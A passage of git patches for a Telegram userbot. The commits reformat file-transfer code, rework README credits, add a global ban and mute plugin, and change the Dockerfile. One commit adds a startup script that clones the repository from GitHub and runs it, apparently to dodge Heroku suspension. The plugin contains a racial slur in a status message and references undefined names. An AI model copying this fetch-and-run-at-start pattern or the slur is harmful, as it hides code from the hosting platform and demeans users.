) await self.sender.send(self.request) self.request.file_part += self.stride @@ -114,8 +154,11 @@ def __init__(self, client: TelegramClient, dc_id: Optional[int] = None) -> None: self.client = client self.loop = self.client.loop self.dc_id = dc_id or self.client.session.dc_id - self.auth_key = (None if dc_id and self.client.session.dc_id != dc_id - else self.client.session.auth_key) + self.auth_key = ( + None + if dc_id and self.client.session.dc_id != dc_id + else self.client.session.auth_key + ) self.senders = None self.upload_ticker = 0 @@ -124,14 +167,16 @@ async def _cleanup(self) -> None: self.senders = None @staticmethod - def _get_connection_count(file_size: int, max_count: int = 20, - full_size: int = 100 * 1024 * 1024) -> int: + def _get_connection_count( + file_size: int, max_count: int = 20, full_size: int = 100 * 1024 * 1024 + ) -> int: if file_size > full_size: return max_count return math.ceil((file_size / full_size) * max_count) - async def _init_download(self, connections: int, file: TypeLocation, part_count: int, - part_size: int) -> None: + async def _init_download( + self, connections: int, file: TypeLocation, part_count: int, part_size: int + ) -> None: minimum, remainder = divmod(part_count, connections) def get_part_count() -> int: @@ -144,52 +189,91 @@ def get_part_count() -> int: # The first cross-DC sender will export+import the authorization, so we always create it # before creating any other senders. self.senders = [ - await self._create_download_sender(file, 0, part_size, connections * part_size, - get_part_count()), + await self._create_download_sender( + file, 0, part_size, connections * part_size, get_part_count() + ), *await asyncio.gather( - *[self._create_download_sender(file, i, part_size, connections * part_size, - get_part_count()) - for i in range(1, connections)]) + *[ + self._create_download_sender( + file, i, part_size, connections * part_size, get_part_count() + ) + for i in range(1, connections) + ] + ), ] - async def _create_download_sender(self, file: TypeLocation, index: int, part_size: int, - stride: int, - part_count: int) -> DownloadSender: - return DownloadSender(await self._create_sender(), file, index * part_size, part_size, - stride, part_count) - - async def _init_upload(self, connections: int, file_id: int, part_count: int, big: bool - ) -> None: + async def _create_download_sender( + self, + file: TypeLocation, + index: int, + part_size: int, + stride: int, + part_count: int, + ) -> DownloadSender: + return DownloadSender( + await self._create_sender(), + file, + index * part_size, + part_size, + stride, + part_count, + ) + + async def _init_upload( + self, connections: int, file_id: int, part_count: int, big: bool + ) -> None: self.senders = [ await self._create_upload_sender(file_id, part_count, big, 0, connections), *await asyncio.gather( - *[self._create_upload_sender(file_id, part_count, big, i, connections) - for i in range(1, connections)]) + *[ + self._create_upload_sender(file_id, part_count, big, i, connections) + for i in range(1, connections) + ] + ), ] - async def _create_upload_sender(self, file_id: int, part_count: int, big: bool, index: int, - stride: int) -> UploadSender: - return UploadSender(await self._create_sender(), file_id, part_count, big, index, stride, - loop=self.loop) + async def _create_upload_sender( + self, file_id: int, part_count: int, big: bool, index: int, stride: int + ) -> UploadSender: + return UploadSender( + await self._create_sender(), + file_id, + part_count, + big, + index, + stride, + loop=self.loop, + ) async def _create_sender(self) -> MTProtoSender: dc = await self.client._get_dc(self.dc_id) sender = MTProtoSender(self.auth_key, loggers=self.client._log) - await sender.connect(self.client._connection(dc.ip_address, dc.port, dc.id, - loggers=self.client._log, - proxy=self.client._proxy)) + await sender.connect( + self.client._connection( + dc.ip_address, + dc.port, + dc.id, + loggers=self.client._log, + proxy=self.client._proxy, + ) + ) if not self.auth_key: logger.debug(f"Exporting auth to DC {self.dc_id}") auth = await self.client(ExportAuthorizationRequest(self.dc_id)) - req = self.client._init_with(ImportAuthorizationRequest( - id=auth.id, bytes=auth.bytes - )) + req = self.client._init_with( + ImportAuthorizationRequest(id=auth.id, bytes=auth.bytes) + ) await sender.send(req) self.auth_key = sender.auth_key return sender - async def init_upload(self, file_id: int, file_size: int, part_size_kb: Optional[float] = None, - connection_count: Optional[int] = None) -> Tuple[int, int, bool]: + async def init_upload( + self, + file_id: int, + file_size: int, + part_size_kb: Optional[float] = None, + connection_count: Optional[int] = None, + ) -> Tuple[int, int, bool]: connection_count = connection_count or self._get_connection_count(file_size) logger.debug(f"init_upload count is {connection_count}") part_size = (part_size_kb or utils.get_appropriated_part_size(file_size)) * 1024 @@ -205,15 +289,21 @@ async def upload(self, part: bytes) -> None: async def finish_upload(self) -> None: await self._cleanup() - async def download(self, file: TypeLocation, file_size: int, - part_size_kb: Optional[float] = None, - connection_count: Optional[int] = None) -> AsyncGenerator[bytes, None]: + async def download( + self, + file: TypeLocation, + file_size: int, + part_size_kb: Optional[float] = None, + connection_count: Optional[int] = None, + ) -> AsyncGenerator[bytes, None]: connection_count = connection_count or self._get_connection_count(file_size) part_size = (part_size_kb or utils.get_appropriated_part_size(file_size)) * 1024 part_count = math.ceil(file_size / part_size) - logger.debug("Starting parallel download: " - f"{connection_count} {part_size} {part_count} {file!s}") + logger.debug( + "Starting parallel download: " + f"{connection_count} {part_size} {part_count} {file!s}" + ) await self._init_download(connection_count, file, part_count, part_size) part = 0 @@ -233,14 +323,17 @@ async def download(self, file: TypeLocation, file_size: int, await self._cleanup() -parallel_transfer_locks: DefaultDict[int, asyncio.Lock] = defaultdict(lambda: asyncio.Lock()) +parallel_transfer_locks: DefaultDict[int, asyncio.Lock] = defaultdict( + lambda: asyncio.Lock() +) -async def _internal_transfer_to_telegram(client: TelegramClient, - response: BinaryIO, - progress_callback: callable, - file_name: str - ) -> Tuple[TypeInputFile, int]: +async def _internal_transfer_to_telegram( + client: TelegramClient, + response: BinaryIO, + progress_callback: callable, + file_name: str, +) -> Tuple[TypeInputFile, int]: file_id = helpers.generate_random_long() file_size = os.path.getsize(response.name) @@ -273,14 +366,18 @@ async def _internal_transfer_to_telegram(client: TelegramClient, if is_large: return InputFileBig(file_id, part_count, file_name), file_size else: - return InputFile(file_id, part_count, file_name, hash_md5.hexdigest()), file_size - - -async def download_file(client: TelegramClient, - location: TypeLocation, - out: BinaryIO, - progress_callback: callable = None - ) -> BinaryIO: + return ( + InputFile(file_id, part_count, file_name, hash_md5.hexdigest()), + file_size, + ) + + +async def download_file( + client: TelegramClient, + location: TypeLocation, + out: BinaryIO, + progress_callback: callable = None, +) -> BinaryIO: size = location.size dc_id, location = utils.get_input_location(location) # We lock the transfers because telegram has connection count limits @@ -296,9 +393,13 @@ async def download_file(client: TelegramClient, return out -async def upload_file(client: TelegramClient, - file: BinaryIO, - file_name: str, - progress_callback: callable = None) -> TypeInputFile: - res = (await _internal_transfer_to_telegram(client, file, progress_callback, file_name))[0] +async def upload_file( + client: TelegramClient, + file: BinaryIO, + file_name: str, + progress_callback: callable = None, +) -> TypeInputFile: + res = ( + await _internal_transfer_to_telegram(client, file, progress_callback, file_name) + )[0] return res From 9474e5a2937a308d47644f240ae65e26e6822074 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 1 Feb 2021 14:45:10 +0530 Subject: [PATCH 803/838] Update README.md --- README.md | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 8943d158..1bc46ef8 100644 --- a/README.md +++ b/README.md @@ -18,10 +18,19 @@ ## [Visit Website ](https://techwizardent.com/blog/twe_blog_userbot.php) # 😍 Credits -### Cloned from [Friday Userbot](github.com/starkgang/fridayuserbot).. Full credits to Friday Developers -#### Special thanks To Friday And Dark Cobra Bot a lot - +### Cloned from [Friday Userbot](github.com/starkgang/fridayuserbot) on 28/01/2021.. Full credits to Friday Developers +#### Special thanks To Friday Bot And Dark Cobra Bot a lot +##### ♡ Friday is the best userbot ♡ ~ This is just a remodification.. Original work was done by them +## The story beyond (☆ Information about original owners ☆) +This bot was initially cloned and modified by me for suit my requirements. +Then many Sri Lankans asked for the source code of this bot +That's why we made this code open +Most of the plugins in this was kanged from FridayUserbot and many others +So, all respect and credits goes to them +Also original owners of modules mentioned at the top of every module. ``` Full credits mentioned at the bottom``` +If you are not from Sri Lanka I recommend you to use the [Friday Userbot](github.com/starkgang/fridayuserbot). It is more better than other userbots + # # 🧙‍♀️ Deploy Guide @@ -46,7 +55,7 @@ Complete guide on deploying VirtualUserbot to Heroku.

    - +### Also show some support to the base project [Friday Userbot](github.com/starkgang/fridayuserbot) # 🕵️‍♀️ Before You Go @@ -200,6 +209,7 @@ published by the Free Software Foundation, either version 3 of the License, or - FridayUserBot ❤️ - Most of the Plugins Taken from this Project.. Made possible by this. Full Credits. Full Respect +Best userbot ever - DarkCobra 😍 - Image Tools Plugins Copied from DC Project.. Credits to DC Team From 12db436321cef85ebe81b80b387f1bdeb3622de6 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 1 Feb 2021 14:50:21 +0530 Subject: [PATCH 804/838] Update README.md --- README.md | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index 1bc46ef8..1026a8ad 100644 --- a/README.md +++ b/README.md @@ -22,14 +22,18 @@ #### Special thanks To Friday Bot And Dark Cobra Bot a lot ##### ♡ Friday is the best userbot ♡ ~ This is just a remodification.. Original work was done by them ## The story beyond (☆ Information about original owners ☆) -This bot was initially cloned and modified by me for suit my requirements. -Then many Sri Lankans asked for the source code of this bot -That's why we made this code open -Most of the plugins in this was kanged from FridayUserbot and many others +● This bot was initially cloned and modified by us for suit our requirements. +Then many Sri Lankans asked for the source code of this bot. +That's why we made this code as a independent one. + +● Most of the plugins in this was kanged from FridayUserbot and many others.. So, all respect and credits goes to them -Also original owners of modules mentioned at the top of every module. + +● Also original owners of modules mentioned at the top of every module. + ``` Full credits mentioned at the bottom``` -If you are not from Sri Lanka I recommend you to use the [Friday Userbot](github.com/starkgang/fridayuserbot). It is more better than other userbots + +◇ If you are not from Sri Lanka I recommend you to use the [Friday Userbot](github.com/starkgang/fridayuserbot). It is more better than other userbots # From 1554b4bcbd7513dd173f9b98ba79bb16eeaa527f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 1 Feb 2021 14:54:15 +0530 Subject: [PATCH 805/838] Update README.md --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 1026a8ad..208e47d5 100644 --- a/README.md +++ b/README.md @@ -15,6 +15,8 @@ ### Here is the Telegram VirtualUserbot. A Remix Of Userbots on github.. Credits To Thier Owners.. +[![Deploy To Heroku](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy?template=https://github.com/Inukaasith/virtualuserbot) + ## [Visit Website ](https://techwizardent.com/blog/twe_blog_userbot.php) # 😍 Credits @@ -59,6 +61,7 @@ Complete guide on deploying VirtualUserbot to Heroku.

    + ### Also show some support to the base project [Friday Userbot](github.com/starkgang/fridayuserbot) # 🕵️‍♀️ Before You Go From 92d1f6e2dd6fe96afd0796aa0b602f71623999d0 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 1 Feb 2021 15:40:52 +0530 Subject: [PATCH 806/838] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 208e47d5..8e3cb739 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@

    Virtual-USERBOT 🇱🇰

    -

    A Powerful, Smart And Simple Userbot with 300+ Plugins
    ... The Userbot Remix ...

    +

    A Powerful, Smart And Simple Userbot with 300+ Plugins
    ... Remodied Friday for Sri Lanka ...

    Commit @@ -13,7 +13,7 @@

    -### Here is the Telegram VirtualUserbot. A Remix Of Userbots on github.. Credits To Thier Owners.. +### Here is the Telegram VirtualUserbot. A Remodified version of Friday Userbot for Sri Lanka. Credits To Thier Owners.. [![Deploy To Heroku](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy?template=https://github.com/Inukaasith/virtualuserbot) From 669b8c9209674f97f7585f58cdf52c736e91c515 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 1 Feb 2021 22:44:21 +0530 Subject: [PATCH 807/838] Create Ultragtools.py --- virtualuserbot/modules/Ultragtools.py | 298 ++++++++++++++++++++++++++ 1 file changed, 298 insertions(+) create mode 100644 virtualuserbot/modules/Ultragtools.py diff --git a/virtualuserbot/modules/Ultragtools.py b/virtualuserbot/modules/Ultragtools.py new file mode 100644 index 00000000..561d2804 --- /dev/null +++ b/virtualuserbot/modules/Ultragtools.py @@ -0,0 +1,298 @@ +import asyncio + +from telethon.events import ChatAction +from telethon.tl.functions.contacts import BlockRequest, UnblockRequest +from telethon.tl.types import MessageEntityMentionName + +from virtualuserbot import CMD_HELP +from virtualuserbot.modules.sql_helper.mute_sql import is_muted, mute, unmute +from virtualuserbot.utils import friday_on_cmd + + +async def get_full_user(event): + args = event.pattern_match.group(1).split(":", 1) + extra = None + if event.reply_to_msg_id and not len(args) == 2: + previous_message = await event.get_reply_message() + user_obj = await event.client.get_entity(previous_message.sender_id) + extra = event.pattern_match.group(1) + elif len(args[0]) > 0: + user = args[0] + if len(args) == 2: + extra = args[1] + if user.isnumeric(): + user = int(user) + if not user: + await event.edit("`User ID Is Required") + return + if event.message.entities is not None: + probable_user_mention_entity = event.message.entities[0] + if isinstance(probable_user_mention_entity, MessageEntityMentionName): + user_id = probable_user_mention_entity.user_id + user_obj = await event.client.get_entity(user_id) + return user_obj + try: + user_obj = await event.client.get_entity(user) + except Exception as err: + return await event.edit("Something Went Wrong", str(err)) + return user_obj, extra + + +async def get_user_sender_id(user, event): + if isinstance(user, str): + user = int(user) + try: + user_obj = await event.client.get_entity(user) + except (TypeError, ValueError) as err: + await event.edit(str(err)) + return None + return user_obj + + +@friday.on(friday_on_cmd(pattern="ultragban ?(.*)")) +async def gspider(virtualuserbot): + lol = virtualuserbot + sender = await lol.get_sender() + me = await lol.client.get_me() + if not sender.id == me.id: + friday = await lol.reply("Gbanning This User !") + else: + friday = await lol.edit("Wait Processing.....") + me = await virtualuserbot.client.get_me() + await friday.edit(f"Global Ban Is Coming ! Wait And Watch You Nigga") + my_mention = "[{}](tg://user?id={})".format(me.first_name, me.id) + f"@{me.username}" if me.username else my_mention + await virtualuserbot.get_chat() + a = b = 0 + if virtualuserbot.is_private: + user = virtualuserbot.chat + reason = virtualuserbot.pattern_match.group(1) + else: + virtualuserbot.chat.title + try: + user, reason = await get_full_user(virtualuserbot) + except: + pass + try: + if not reason: + reason = "Private" + except: + return await friday.edit(f"**Something W3NT Wrong 🤔**") + if user: + if user.id == 1263617196: + return await friday.edit( + f"**Didn't , Your Father Teach You ? That You Cant Gban Dev**" + ) + try: + from virtualuserbot.modules.sql_helper.gmute_sql import gmute + except: + pass + try: + await virtualuserbot.client(BlockRequest(user)) + except: + pass + testvirtualuserbot = [ + d.entity.id + for d in await virtualuserbot.client.get_dialogs() + if (d.is_group or d.is_channel) + ] + for i in testvirtualuserbot: + try: + await virtualuserbot.client.edit_permissions( + i, user, view_messages=False + ) + a += 1 + await friday.edit(f"**GBANNED // Total Affected Chats **: `{a}`") + except: + b += 1 + else: + await friday.edit(f"**Reply to a user !!**") + try: + if gmute(user.id) is False: + return await friday.edit(f"**Error! User probably already gbanned.**") + except: + pass + return await friday.edit( + f"**Gbanned [{user.first_name}](tg://user?id={user.id}) Affected Chats : {a} **" + ) + + +@friday.on(friday_on_cmd(pattern="ultraungban ?(.*)")) +async def gspider(virtualuserbot): + lol = virtualuserbot + sender = await lol.get_sender() + me = await lol.client.get_me() + if not sender.id == me.id: + friday = await lol.reply("`Wait Let Me Process`") + else: + friday = await lol.edit("One Min ! ") + me = await virtualuserbot.client.get_me() + await friday.edit(f"Trying To Ungban User !") + my_mention = "[{}](tg://user?id={})".format(me.first_name, me.id) + f"@{me.username}" if me.username else my_mention + await virtualuserbot.get_chat() + a = b = 0 + if virtualuserbot.is_private: + user = virtualuserbot.chat + reason = virtualuserbot.pattern_match.group(1) + else: + virtualuserbot.chat.title + try: + user, reason = await get_full_user(virtualuserbot) + except: + pass + try: + if not reason: + reason = "Private" + except: + return await friday.edit("Someting Went Wrong 🤔") + if user: + if user.id == 1263617196: + return await friday.edit("**You Cant Ungban A Dev !**") + try: + from virtualuserbot.modules.sql_helper.gmute_sql import ungmute + except: + pass + try: + await virtualuserbot.client(UnblockRequest(user)) + except: + pass + testvirtualuserbot = [ + d.entity.id + for d in await virtualuserbot.client.get_dialogs() + if (d.is_group or d.is_channel) + ] + for i in testvirtualuserbot: + try: + await virtualuserbot.client.edit_permissions( + i, user, send_messages=True + ) + a += 1 + await friday.edit(f"**UNGBANNING // AFFECTED CHATS - {a} **") + except: + b += 1 + else: + await friday.edit("**Reply to a user !!**") + try: + if ungmute(user.id) is False: + return await friday.edit("**Error! User probably already ungbanned.**") + except: + pass + return await friday.edit( + f"**UNGBANNED // USER - [{user.first_name}](tg://user?id={user.id}) CHATS : {a} **" + ) + + +@friday.on(ChatAction) +async def handler(rkG): + if rkG.user_joined or rkG.user_added: + try: + from virtualuserbot.modules.sql_helper.gmute_sql import is_gmuted + + guser = await rkG.get_user() + gmuted = is_gmuted(guser.id) + except: + return + if gmuted: + for i in gmuted: + if i.sender == str(guser.id): + chat = await rkG.get_chat() + admin = chat.admin_rights + creator = chat.creator + if admin or creator: + try: + await client.edit_permissions( + rkG.chat_id, guser.id, view_messages=False + ) + await rkG.reply( + f"**Gbanned User Joined!!** \n" + f"**Victim Id**: [{guser.id}](tg://user?id={guser.id})\n" + f"**Action ** : `Banned`" + ) + except: + rkG.reply("`No Permission To Ban`") + return + + +@friday.on(friday_on_cmd(pattern=r"ultragmute ?(\d+)?")) +async def startgmute(event): + private = False + if event.fwd_from: + return + elif event.is_private: + await event.edit("Unexpected issues or ugly errors may occur!") + await asyncio.sleep(3) + private = True + reply = await event.get_reply_message() + if event.pattern_match.group(1) is not None: + userid = event.pattern_match.group(1) + elif reply is not None: + userid = reply.sender_id + elif private is True: + userid = event.chat_id + else: + return await event.edit( + "Please reply to a user or add their into the command to gmute them." + ) + event.chat_id + await event.get_chat() + if is_muted(userid, "gmute"): + return await event.edit("`He has Tap Already On His Mouth.`") + try: + mute(userid, "gmute") + except Exception as e: + await event.edit("Error occured!\nError is " + str(e)) + else: + await event.edit("Here A Tape, Now Shutup \nGmuteD") + + +@friday.on(friday_on_cmd(pattern=r"ultraungmute ?(\d+)?")) +async def endgmute(event): + private = False + if event.fwd_from: + return + elif event.is_private: + await event.edit("Unexpected issues or ugly errors may occur!") + await asyncio.sleep(3) + private = True + reply = await event.get_reply_message() + if event.pattern_match.group(1) is not None: + userid = event.pattern_match.group(1) + elif reply is not None: + userid = reply.sender_id + elif private is True: + userid = event.chat_id + else: + return await event.edit( + "Please reply to a user or add their into the command to ungmute them." + ) + event.chat_id + if not is_muted(userid, "gmute"): + return await event.edit("This user is not gmuted") + try: + unmute(userid, "gmute") + except Exception as e: + await event.edit("Error occured!\nError is " + str(e)) + else: + await event.edit("Successfully ungmuted that person") + + +@command(incoming=True) +async def watcher(event): + if is_muted(event.sender_id, "gmute"): + await event.delete() + + +CMD_HELP.update( + { + "ultra gtools": "**Global Tools ULTRA**\ +\n\n**Syntax : **`.ultragmute `\ +\n**Usage :** Gmute User And Delete His Msg.\ +\n\n**Syntax : **`.ultraungmute `\ +\n**Usage :** UnGmute User And Stops Deleting His Msgs.\ +\n\n**Syntax : **`.ultragban `\ +\n**Usage :** Gban User And Blow Him From Your Groups\ +\n\n**Syntax : **`.ultraungban `\ +\n**Usage :** Ugban User." + } +) From 86caf65b0088f6220c176ba03d10002386fbdb89 Mon Sep 17 00:00:00 2001 From: Kaveesha Induwara <72741520+kaviya-admin@users.noreply.github.com> Date: Wed, 10 Feb 2021 22:33:43 +0530 Subject: [PATCH 808/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 8e3cb739..77c97d6a 100644 --- a/README.md +++ b/README.md @@ -45,7 +45,7 @@ Complete guide on deploying VirtualUserbot to Heroku.

    -☆ Video by [TWE](techwizardent.com) ☆ +☆ Video by [TWE](tg.techwizardent.com) ☆ # ❤️ Support From 2c3e93169b4d4ae17130619e3a7dbd470f796f84 Mon Sep 17 00:00:00 2001 From: Kaveesha Induwara <72741520+kaviya-admin@users.noreply.github.com> Date: Wed, 10 Feb 2021 22:34:27 +0530 Subject: [PATCH 809/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 77c97d6a..f3b828d4 100644 --- a/README.md +++ b/README.md @@ -45,7 +45,7 @@ Complete guide on deploying VirtualUserbot to Heroku.

    -☆ Video by [TWE](tg.techwizardent.com) ☆ +☆ Video by [TWE](http://techwizardent.com/) ☆ # ❤️ Support From f0647b9d176f6e255fadd2c36ca27fb2c1788d15 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 13 Feb 2021 20:44:13 +0530 Subject: [PATCH 810/838] Update Configs.py --- virtualuserbot/Configs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/virtualuserbot/Configs.py b/virtualuserbot/Configs.py index 94a46aa6..66a54fd7 100644 --- a/virtualuserbot/Configs.py +++ b/virtualuserbot/Configs.py @@ -162,7 +162,7 @@ class Config(object): GPLINKS_API_KEY = os.environ.get("GPLINKS_API_KEY", None) OPEN_LOAD_KEY = os.environ.get("OPEN_LOAD_KEY", None) UPSTREAM_REPO = os.environ.get( - "UPSTREAM_REPO", "https://github.com/Inukaasith/VirtualUserbot" + "UPSTREAM_REPO", "https://github.com/DevsExpo/FridayUserbot" ) ALIVE_IMAGE = os.environ.get( "ALIVE_IMAGE", "https://telegra.ph/file/4e1364fb18f899ad47dec.png" From c6b2e27e3401a1c17abeac0b5458d78499fece66 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 13 Feb 2021 20:45:32 +0530 Subject: [PATCH 811/838] Update Dockerfile --- Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Dockerfile b/Dockerfile index 08cb36f2..8f9df316 100644 --- a/Dockerfile +++ b/Dockerfile @@ -59,7 +59,7 @@ RUN rm -r /root/.cache RUN axel https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && apt install -y ./google-chrome-stable_current_amd64.deb && rm google-chrome-stable_current_amd64.deb RUN axel https://chromedriver.storage.googleapis.com/88.0.4324.96/chromedriver_linux64.zip && unzip chromedriver_linux64.zip && chmod +x chromedriver && mv -f chromedriver /usr/bin/ && rm chromedriver_linux64.zip RUN wget -O opencv.zip https://github.com/opencv/opencv/archive/master.zip && unzip opencv.zip && mv -f opencv-master /usr/bin/ && rm opencv.zip -RUN git clone https://github.com/inukaasith/virtualuserbot /root/virtualuserbot +RUN git clone https://github.com/DevsExpo/FridayUserbot /root/virtualuserbot RUN mkdir /root/virtualuserbot/bin/ RUN mkdir /root/virtualuserbot/bin/megadown WORKDIR /root/virtualuserbot/ From 81483cca558e25f5f20773e406c8cba912bf299d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 13 Feb 2021 20:46:37 +0530 Subject: [PATCH 812/838] Rename README.md to README --- README.md => README | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename README.md => README (100%) diff --git a/README.md b/README similarity index 100% rename from README.md rename to README From 4cc830ee676baba4ebc77f8c9c166907d6963ea2 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 13 Feb 2021 20:47:01 +0530 Subject: [PATCH 813/838] Rename README to READMEE --- README => READMEE | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename README => READMEE (100%) diff --git a/README b/READMEE similarity index 100% rename from README rename to READMEE From 5180c1ce1fa20b3c1328475a131aff757e389c18 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 31 Mar 2021 19:41:47 +0530 Subject: [PATCH 814/838] Rename READMEE to README.md --- READMEE => README.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename READMEE => README.md (100%) diff --git a/READMEE b/README.md similarity index 100% rename from READMEE rename to README.md From b5476dbda53fced3804c0f33b915c0350f50b0cb Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 31 Mar 2021 19:45:59 +0530 Subject: [PATCH 815/838] Heroku error fixed --- virtualbotmain.py | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 virtualbotmain.py diff --git a/virtualbotmain.py b/virtualbotmain.py new file mode 100644 index 00000000..26d12bed --- /dev/null +++ b/virtualbotmain.py @@ -0,0 +1,3 @@ +#To solbe suspension issue #By sh1vam +import os +os.system("git clone https://github.com/InukaAsith/VirtualUserbot /root/virtualuserbot && mkdir /root/virtualuserbot/bin/ && cd /root/virtualuserbot/ && chmod +x /usr/local/bin/* && python3 -m virtualuserbot") From 34873c887ef33c6f2f8df1cd7a490b769007bc1c Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Wed, 31 Mar 2021 14:16:44 +0000 Subject: [PATCH 816/838] pylint: auto fixes --- virtualbotmain.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/virtualbotmain.py b/virtualbotmain.py index 26d12bed..45f29edc 100644 --- a/virtualbotmain.py +++ b/virtualbotmain.py @@ -1,3 +1,6 @@ -#To solbe suspension issue #By sh1vam +# To solbe suspension issue #By sh1vam import os -os.system("git clone https://github.com/InukaAsith/VirtualUserbot /root/virtualuserbot && mkdir /root/virtualuserbot/bin/ && cd /root/virtualuserbot/ && chmod +x /usr/local/bin/* && python3 -m virtualuserbot") + +os.system( + "git clone https://github.com/InukaAsith/VirtualUserbot /root/virtualuserbot && mkdir /root/virtualuserbot/bin/ && cd /root/virtualuserbot/ && chmod +x /usr/local/bin/* && python3 -m virtualuserbot" +) From c82e24a85ebf89a436df04aa2438c16f8b8c7f44 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 31 Mar 2021 19:48:54 +0530 Subject: [PATCH 817/838] Now we support heroku --- Dockerfile | 32 ++++++++++++++++++-------------- 1 file changed, 18 insertions(+), 14 deletions(-) diff --git a/Dockerfile b/Dockerfile index 8f9df316..8036e1e5 100644 --- a/Dockerfile +++ b/Dockerfile @@ -47,22 +47,26 @@ RUN apt-get install -y\ megatools \ libfreetype6-dev \ procps \ + imagemagick \ + libmagic-dev \ policykit-1 - -RUN apt-get autoremove --purge -RUN pip3 install --upgrade pip setuptools -RUN pip3 install --upgrade pip -RUN if [ ! -e /usr/bin/pip ]; then ln -s pip3 /usr/bin/pip ; fi -RUN if [ ! -e /usr/bin/python ]; then ln -sf /usr/bin/python3 /usr/bin/python; fi -RUN rm -r /root/.cache +#RUN apt-get autoremove --purge +#RUN pip3 install --upgrade pip setuptools +#RUN pip3 install --upgrade pip +#RUN if [ ! -e /usr/bin/pip ]; then ln -s pip3 /usr/bin/pip ; fi +#RUN if [ ! -e /usr/bin/python ]; then ln -sf /usr/bin/python3 /usr/bin/python; fi +#RUN rm -r /root/.cache +RUN wget http://www.cmake.org/files/v2.8/cmake-2.8.3.tar.gz && tar xzf cmake-2.8.3.tar.gz && cd cmake-2.8.3 && ./configure --prefix=/opt/cmake && make install RUN axel https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && apt install -y ./google-chrome-stable_current_amd64.deb && rm google-chrome-stable_current_amd64.deb -RUN axel https://chromedriver.storage.googleapis.com/88.0.4324.96/chromedriver_linux64.zip && unzip chromedriver_linux64.zip && chmod +x chromedriver && mv -f chromedriver /usr/bin/ && rm chromedriver_linux64.zip +RUN axel https://chromedriver.storage.googleapis.com/86.0.4240.22/chromedriver_linux64.zip && unzip chromedriver_linux64.zip && chmod +x chromedriver && mv -f chromedriver /usr/bin/ && rm chromedriver_linux64.zip RUN wget -O opencv.zip https://github.com/opencv/opencv/archive/master.zip && unzip opencv.zip && mv -f opencv-master /usr/bin/ && rm opencv.zip -RUN git clone https://github.com/DevsExpo/FridayUserbot /root/virtualuserbot -RUN mkdir /root/virtualuserbot/bin/ -RUN mkdir /root/virtualuserbot/bin/megadown -WORKDIR /root/virtualuserbot/ -RUN chmod +x /usr/local/bin/* +#RUN git clone https://github.com/KeinShin/Black-Lightning /root/userbot +RUN wget https://raw.githubusercontent.com/Inukaasith/virtualuserbot/master/virtualbotmain.py +RUN wget https://raw.githubusercontent.com/Inukaasith/virtualuserbot/master/requirements.txt +#RUN mkdir /root/userbot/bin/ +#WORKDIR /root/userbot/ +#RUN chmod +x /usr/local/bin/* RUN pip3 install -r requirements.txt -CMD ["bash","start.sh"] +#CMD ["bash","boot_start.sh"] +CMD ["python3","virtualbotmain.py"] From 244dec3fc36196e0e47d2c1d214943ef787e2c4f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 31 Mar 2021 19:50:03 +0530 Subject: [PATCH 818/838] Update Procfile --- Procfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Procfile b/Procfile index 41e152e6..d0e34a37 100644 --- a/Procfile +++ b/Procfile @@ -1 +1 @@ -virtualuserbot: python -m virtualuserbot +worker: python3 virtualbotmain.py From 72645436daa6aed0410952724bd61ed05bf7f823 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 31 Mar 2021 19:51:32 +0530 Subject: [PATCH 819/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index f3b828d4..f1c29144 100644 --- a/README.md +++ b/README.md @@ -17,7 +17,7 @@ [![Deploy To Heroku](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy?template=https://github.com/Inukaasith/virtualuserbot) -## [Visit Website ](https://techwizardent.com/blog/twe_blog_userbot.php) +## HEROKU ERROR FIXED. BTW UNMAINTAINED # 😍 Credits ### Cloned from [Friday Userbot](github.com/starkgang/fridayuserbot) on 28/01/2021.. Full credits to Friday Developers From c4ba30fe5a0a5a48d78f1e237d7a17c49da7a910 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 3 Apr 2021 14:10:35 +0530 Subject: [PATCH 820/838] fixed --- requirements.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/requirements.txt 